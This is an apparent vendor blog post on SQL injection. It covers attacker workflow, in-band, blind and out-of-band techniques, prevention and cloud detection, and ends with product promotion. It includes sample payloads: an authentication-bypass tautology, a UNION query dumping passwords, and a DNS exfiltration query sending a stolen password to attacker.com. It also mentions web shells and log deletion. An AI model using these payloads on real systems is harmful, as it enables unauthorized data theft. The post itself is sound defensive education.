What is a SQL injection attack?
If you design, build, or secure applications, SQL injection (SQLi) is a risk you can’t ignore. Though it's been around as long as web applications themselves, SQL injection remains a pervasive threat to database security, turning minor code mistakes (coding shortcuts that expose dynamic query paths) into serious data exposure.
SQL injection targets the database layer, where your most sensitive data lives. As a result, it’s incredibly damaging: A single unsafe query can let attackers bypass authentication, extract entire databases, or modify records without complex exploits. Since it takes advantage of how applications construct queries, instead of obscure database bugs, advanced features, or zero-day flaws, attackers don’t need deep database expertise.
OWASP consistently ranks SQLi attacks as high severity due to its low effort, its broad scope, and the degree of compromise achievable even by relatively unsophisticated attackers. Plus, SQL injection flaws are persistent: As long as unsafe query patterns remain in the codebase, vulnerabilities can survive framework upgrades and cloud migrations.
The good news? Because its root cause is almost always application logic, SQLi is largely preventable through database security basics: disciplined query handling, secure design choices, and well-understood controls.
In this blog post, we’ll break down how SQL injection works, common SQLi types and attack vectors, and best practices you can use to prevent and mitigate SQLi in your web applications.
Secure Coding Best Practices Cheat Sheet
This 11-page cheat sheet cuts through complexity with curated insights and easy-to-follow code snippets, giving every developer what they need to build secure, reliable applications.

How SQL injection attacks work
Here’s what a professional attacker’s SQL injection workflow might look like in practice.
| Step | Attacker action | Tools or manual processes |
|---|---|---|
| Map attack surface | Find all input fields and hidden API endpoints that interact with the database | Burp Suite, OWASP ZAP, Fiddler, or manual browser inspection |
| Test for vulnerability | Input special characters to trigger errors or time delays that confirm a flaw exists | Manual injection of test payloads: known problematic strings such as ', ", or flawed logic strings like 1' OR '1'='1 |
| Fingerprint database | Identify the specific database engine and version to select compatible exploitation payloads | Test with sqlmap --fingerprint (or -f) flag or manual analysis of server error messages |
| Bypass authentication | Gain access to restricted areas by tricking the database into returning a "true" result | Manual entry of malicious logic such as a tautology (e.g. ' OR 1=1 -- -) or custom Python scripts for automation |
| Enumerate schema | Map out the internal structure to find where sensitive data like passwords or credit card information resides | sqlmap --tables and --columns flags or manual UNION SELECT queries |
| Exfiltrate data | Extract database contents for use or sale on the dark web | sqlmap --dump, Havij, or custom extraction scripts using the Requests library |
| Escalate to OS | Attempt to move beyond the database to execute commands directly on the host server | Metasploit, SQL Server xp_cmdshell, or MySQL INTO OUTFILE for web shells |
| Obfuscate activity | Delete evidence of the breach from system logs to avoid detection by security teams | Manual SQL DELETE commands on log tables and ProxyChains for anonymity |
Types of SQL injection attacks
Different SQLi attacks rely on different communication channels—meaning the specific paths used to send requests to a server and receive data back, typically via HTTP. Here’s a quick overview of the main types of SQLi attacks, with more detail about each type below the table.
| Column A | In-band | Blind | Out-of-band |
|---|---|---|---|
| Frequency | Most common type; often the first technique attackers try | Very common in hardened apps that hide data and errors | Rare; requires external network access |
| Complexity | Low complexity; uses direct data output | High complexity due to bit-by-bit inference | High complexity requiring specific server configurations |
| Channel | Same channel for attack and results | Same channel for attack, while results are inferred | Uses different channels for attack and results |
| Mechanisms | Error-based or UNION-based | Boolean-based or time-based | DNS lookups or HTTP requests |
In-band SQLi
In-band SQLi attacks are the most common type. They use the primary web application channel to both launch the attack by injecting code and gather results—either directly within the page or through analyzing error messages. For example, overly verbose database error messages may reveal table names or column structures when queries are improperly formatted, yielding valuable data for further attack attempts.
Examples of in-band attack techniques include:
Union-based injection: Combines results from multiple tables into the HTTP response
Error-based injection: Forces the database to output error messages containing schema data
Here’s a code example of a UNION-based data extraction:
-- A URL like: /products?id=1
-- Attacker changes it to: /products?id=1 UNION SELECT username, password FROM users--
-- Resulting query:
SELECT name, price FROM products WHERE id=1 UNION SELECT username, password FROM users--
-- Appends a second query, dumping the users table into the responseBlind SQLi
When no data is returned directly to the attacker, this attack type involves observing application behavior or timing instead of using direct data output to reconstruct information. Generally, an attacker makes a series of guesses, aided by automation, and observes whether the server responds immediately (suggesting the guess is incorrect) or if there is a delay (suggesting the guess is correct). Based on these responses, the attacker knows they are on the right track and can reconstruct sensitive information like passwords, data, or details of the database structure.
Examples of blind SQLi attack techniques include:
Boolean-based: Uses true/false queries to change the page content
Time-based: Leverages database delay functions—such as SLEEP() in MySQL and PostgreSQL, or WAITFOR DELAY in Microsoft SQL Server—to infer whether a condition is true. If the application response is delayed by the specified duration, the attacker confirms the injected condition evaluated to true.
Here’s a code example of Boolean-based blind SQLi:
-- Attacker probes with: /products?id=1 AND 1=1 (page loads normally)
-- Then tries: /products?id=1 AND 1=2 (page breaks or returns nothing)
-- Resulting queries:
SELECT * FROM products WHERE id=1 AND 1=1 -- true, normal response
SELECT * FROM products WHERE id=1 AND 1=2 -- false, empty/error response
-- The difference in behavior confirms SQLi is possible and reveals DB info bit by bitOut-of-band SQLi
This third category is more complex but can be used when both in-band and blind techniques fail and the application doesn’t provide any information that could help the attacker. Out-of-band SQLi attacks use the primary channel for the initial injection. They then exploit built-in database functions for external communication to push information to an external server via secondary channels like DNS or HTTP callbacks. The database server must have outbound network access for this to work.
Types of out-of-band SQLi include:
DNS exfiltration: Coerces the database to resolve crafted hostnames that encode stolen data in DNS labels (see example below). This technique requires outbound DNS access and may be blocked by egress filtering.
HTTP request triggers: Forces the database to send sensitive records to a remote web server
Here’s an example of DNS exfiltration SQLi:
-- Attacker injects the following MySQL query into a vulnerable field:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\file'))
-- What happens:
-- 1. The inner SELECT grabs a password from the users file, e.g. “abc123”
-- 2. CONCAT adds that value to a UNC path, e.g. \\abc123.attacker.com\file
-- 3. MySQL attempts to load that "file" over the network
-- 4. This triggers a DNS lookup for abc123.attacker.com
-- 5. Attacker’s DNS logs confirm that the database executed the query and that the first password in the users table is abc123Other types
Beyond these three primary categories, other SQLi attacks may combine multiple methods or leverage unique database behaviors to bypass security filters. Compound attacks often combine injection with comment operators to control execution flow. The impact of these mixed-type attacks depends heavily on database configuration and privilege boundaries.
Types of complex and compound SQLi attacks include:
Second-order injection: Stores a malicious payload in the database to be executed later by a separate process
Stacked query: Appends multiple SQL statements to a legitimate request using a semicolon to modify or delete data in environments where the database driver permits multi-statement execution
XSS via SQLi: Chains two attacks: First, it stores a malicious script in the database via SQL injection; this then executes as a cross-site scripting (XSS) attack in the browsers of other users who view the infected data
Watch 5-minute demo
Learn what makes Wiz the platform to enable your cloud security operation

Common SQL injection attack vectors in modern applications
Any route in which user-controlled data can influence how queries are constructed, directly or indirectly, is an opportunity for attackers to breach today’s cloud-native applications. Here are the SQLi attack vectors to look out for.
User-facing application inputs
User-facing application inputs become risky when databases trust client-side validation without enforcing the same checks server-side. Search boxes, login forms, data entry fields, and even hidden form fields can all feed unsafe input into queries when attackers modify requests before submission.
The app often considers these inputs “safe” because they come from rendered application pages, which creates a false sense of trust. The risk increases when legacy form handlers are reused across features, quietly carrying unsafe query patterns into new parts of the application.
URL-based request parameters
As with user input, SQL injection through URL is a common strategy because URL-based request parameters that appear to be read-only or system-generated are often considered “trusted” input. Developers may pass query strings and path parameters used for filtering, sorting, pagination, or record selection directly into SQL statements without validation or safe query handling, even though attackers can manipulate them through browser or scripted requests.
This misplaced trust is common in older endpoints, such as legacy user lookup or reporting routes like /users?id=123 or /reports?sort=created_at, that were built with string-based queries and retained for backward compatibility. Even after the app is updated and improved, these retained features inadvertently give attackers a way in.
API and service endpoints
Applications may mistakenly trust API and service endpoints because they sit behind authentication or are labeled “internal.” Exposed REST and GraphQL API endpoints often accept structured input like JSON or XML and pass it directly into query builders or ORM filters, especially when those APIs share backend logic with public-facing services.
That trust fails when attackers exploit architectural flaws, such as shared backend query paths across versioned APIs or weakly validated third-party integrations. Even without direct user interaction, these flaws allow attacker-controlled input to reach database queries unless teams enforce safe handling consistently.
Indirect request metadata
Indirect request metadata introduces risk when data crosses trust boundaries without being revalidated. HTTP headers like cookies or custom headers, session identifiers, and other metadata can persist across requests; later, they’re reused in database queries as if they were safe application data.
But when attackers control these headers and session data, they can be used to gain illegitimate access. For example, if an application stores a value from a custom header and later uses it in a query for logging, filtering, or personalization, an attacker who controls that header can inject malicious input long after the original request.
Business and security impact of SQL injection attacks
SQLi vulnerabilities are coming to light in major products all the time. Some notable SQL injection attack examples have been attributed to the threat group Earth Lamia.
Beginning in 2023, security researchers have documented Asia-based SQL injection campaigns attributed to Earth Lamia that target internet-exposed Microsoft SQL Server instances. These campaigns leverage MSSQL injection to deploy post-exploitation tools including Cobalt Strike and Supershell and to establish proxy tunnels for lateral movement.
The business costs of SQLi attacks like these add up fast: Financial losses from regulatory fines, incident response, and forensic cleanup can be steep, especially when breaches expose regulated data or trigger mandatory reporting. On top of that, attackers can leak customer records, credentials, or proprietary company data or delete and alter records in ways that make core business data unreliable and difficult to recover. An attack also disrupts operations, crashing databases—or requiring them to be taken offline for emergency repairs.
Longer term, SQL injection incidents damage trust and create legal exposure, eroding confidence in your brand long after the technical issue is fixed.
SQL injection prevention and mitigation strategies
The OWASP SQL Injection Prevention Cheat Sheet suggests three primary defense strategies against SQLi, with a number of possible techniques for each strategy.
| Category | Prevention strategies |
|---|---|
| Prepared statements | Embrace secure coding practices, such as prepared statements with parameterized queries, to ensure user input is always treated as data, not executable SQL.Apply parameterization consistently across all query paths, including reads, writes, background jobs, and administrative operations. |
| Stored procedures | Design stored procedures correctly by ensuring they exclude dynamic SQL and string concatenation from their internal logic.Treat stored procedures as code that requires the same review, testing, and validation as application queries. |
| Allow-list validation | Enforce strict allow-list input validation to constrain values to known, expected formats.Apply input validation at application boundaries before data reaches query construction. |
OWASP does not recommend escaping as a primary defense mechanism. While escaping may apply in limited cases—such as sanitizing wildcards in LIKE clauses—it is error-prone when used as the main control. Parameterized queries remain the preferred approach because they structurally separate code from data, eliminating the need for manual character handling.
Beyond specific safe coding and development practices, organizations should embrace a holistic, defense-in-depth approach that goes beyond fighting fires.
For example, if you combine query safety (development team) with least-privilege database roles (security/IT team), you’ll limit the blast radius if a SQLi attack does occur. Similarly, if you adopt a shift-left approach to security that includes automated code scanning, you’ll catch vulnerable SQL statements before they ever reach production.
It’s also important to validate database protections continuously as code, schemas, and cloud services evolve—so that changes don’t introduce new SQLi vulnerabilities.
Detecting and responding to SQL injection attacks in cloud environments
Here’s how to find and stop SQLi attacks against your cloud-native apps in real time.
| Step | Details | Tools |
|---|---|---|
| Detect activity | Enable managed database audit logs (such as AWS RDS Performance Insights or Azure SQL Auditing) to capture query patterns. Monitor runtime activity and flag abnormal processes—such as web server processes spawning shells or executing SELECT statements with SLEEP/WAITFOR functions—as indicators of SQL injection. | Runtime threat detection; database activity monitoring (DAM) |
| Correlate signals | Bring together context from applications, workloads, databases, and networks to confirm active exploitation and scope. | CNAPP platforms; SIEM platforms |
| Stop access | Immediately block the vulnerable application path or revoke database access to stop further abuse. | Web application firewalls (WAFs); cloud IAM and access control tools |
| Trace entry point | Map the attack back to the exact entry point, such as an API endpoint, service, or query path. | Application security testing (AST) tools; API security platforms |
| Assess impact | Identify all affected data, privileges, and lateral exposure based on actual reachability. | DSPM; CIEM; attack path analysis tools |
| Rotate credentials | Replace any database credentials, keys, or secrets that may have been exposed or abused, and update all dependent services accordingly. | Secrets or key management platforms |
| Fix root cause | Correct the underlying application logic, configuration, or infrastructure definitions that enabled the injection path. | SAST tools; IaC scanners |
| Verify remediation | Continuously reassess production with cloud threat hunting to confirm that the SQL injection vulnerability is no longer reachable and no follow-on activity occurs. | Cloud security posture management (CSPM); threat hunting capabilities |
Comprehensive SQL injection protection with Wiz's cloud-native approach
Wiz connects risk across the full application lifecycle, from code to cloud to runtime, to provide comprehensive protection from SQL injection attacks. SQL injection weaknesses discovered early in development are mapped forward to the workloads they build, the databases they can reach, and the exposure they create in production.
Here’s how Wiz covers you across the entire SDLC:
| Column A | Wiz Code | Wiz Cloud | Wiz Defend |
|---|---|---|---|
| SDLC phase | Design & build | Deploy & run | Runtime & response |
| Primary focus | Prevent SQLi at the source before code reaches production | Prioritize exploitable SQLi risk in live cloud environments | Detect post-exploit behavior and investigate active attacks |
| Actions | Software composition analysis (SCA) to identify vulnerable ORM frameworks and third-party librariesIaC scanning to detect insecure network configurationsSecrets scanning to find hardcoded database credentials | Agentless detection of SQLi-related CVEs in libraries (such as vulnerable ORM versions) and risky configurations across application stacksNetwork exposure analysis to determine which vulnerable applications are actually reachable from the internet, providing critical context for risk prioritization | Lightweight eBPF-based runtime sensor continuously monitors for suspicious activity (e.g., web server processes spawning shells or executing anomalous database commands)Investigation Graph provides complete attack context |
Now, Wiz also includes native SAST as part of its code-to-cloud security offering. Wiz SAST scans application code for SQL injection flaws and immediately enriches those findings with deployment and runtime context.
Next, the Wiz Security Graph combines SAST findings with full attack path analysis, surfacing toxic combinations that represent true risk, helping you prioritize SQL injection issues based on real exploitability, not just static code patterns. For example, Wiz will flag this combination as a top priority: a SQL injection flaw within a public-facing container, with excessive IAM permissions, and/or with network access to a production database containing sensitive data.
From code to cloud to runtime, Wiz transforms vulnerability data into prioritized, actionable risks, cutting alert fatigue so your teams can focus on the issues that truly matter. Stay safe from SQLi and other vulnerabilities—book a demo today.